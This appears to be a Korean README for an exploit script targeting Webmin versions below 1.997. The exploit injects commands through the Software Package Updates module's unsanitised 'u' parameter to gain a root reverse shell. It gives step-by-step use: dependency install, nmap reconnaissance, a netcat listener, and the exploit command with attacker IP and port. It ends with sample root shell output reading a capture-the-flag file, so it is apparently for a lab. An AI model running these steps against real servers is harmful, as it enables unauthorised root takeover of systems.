
소프트웨어 패키지 업데이트 모듈을 통해 Webmin < 1.997에서 인증된 원격 코드 실행 익스플로잇. 소독되지 않은 매개변수를 통해 루트로 임의의 명령을 주입하여 리버스 셸을 제공합니다.
Webmin 1.997 미만 버전에서 Software Package Updates 모듈을 통한 원격 코드 실행 취약점 익스플로잇입니다.
Webmin의 Software Package Updates 모듈은 u 매개변수를 시스템에 전달하기 전에 제대로 살균(sanitize)하지 않습니다. 해당 모듈에 접근 권한이 있는 인증된 사용자는 root 권한으로 실행되는 임의의 명령어를 주입할 수 있습니다.
익스플로잇을 실행하기 전에 의존성을 설치하세요:
pip3 install requests beautifulsoup4 lxml urllib3
| 매개변수 | 설명 | 예시 |
|---|---|---|
-t | 타겟 URL (포트 제외) | https://192.168.1.10 |
-u | Webmin 사용자 | admin |
-p | Webmin 비밀번호 | password123 |
-l | 내 IP (쉘을 받을 곳) | 192.168.1.5 |
-lp | 대기할 포트 | 4444 |
1 — Nmap으로 타겟 IP 식별:
nmap -sV TARGET_IP
# Webmin이 있는 10000 포트를 찾으세요
2 — 내 컴퓨터에서 리스너 열기:
nc -lvnp 4444
3 — 다른 터미널에서 익스플로잇 실행:
python3 exploit.py \
-t https://TARGET_IP \
-u admin \
-p PASSWORD \
-l YOUR_IP \
-lp 4444
4 — 익스플로잇이 성공하면 다음과 같이 표시됩니다:
5 — 리스너에서 root 쉘을 받습니다:
# whoami
root
# cat /root/Desktop/FLAG.txt
FLAG{...}
# 터미널 1
nc -lvnp 4444
# 터미널 2
python3 exploit.py -t https://192.168.253.156 -u admin -p 'W3bm1n2024' -l 192.168.253.130 -lp 4444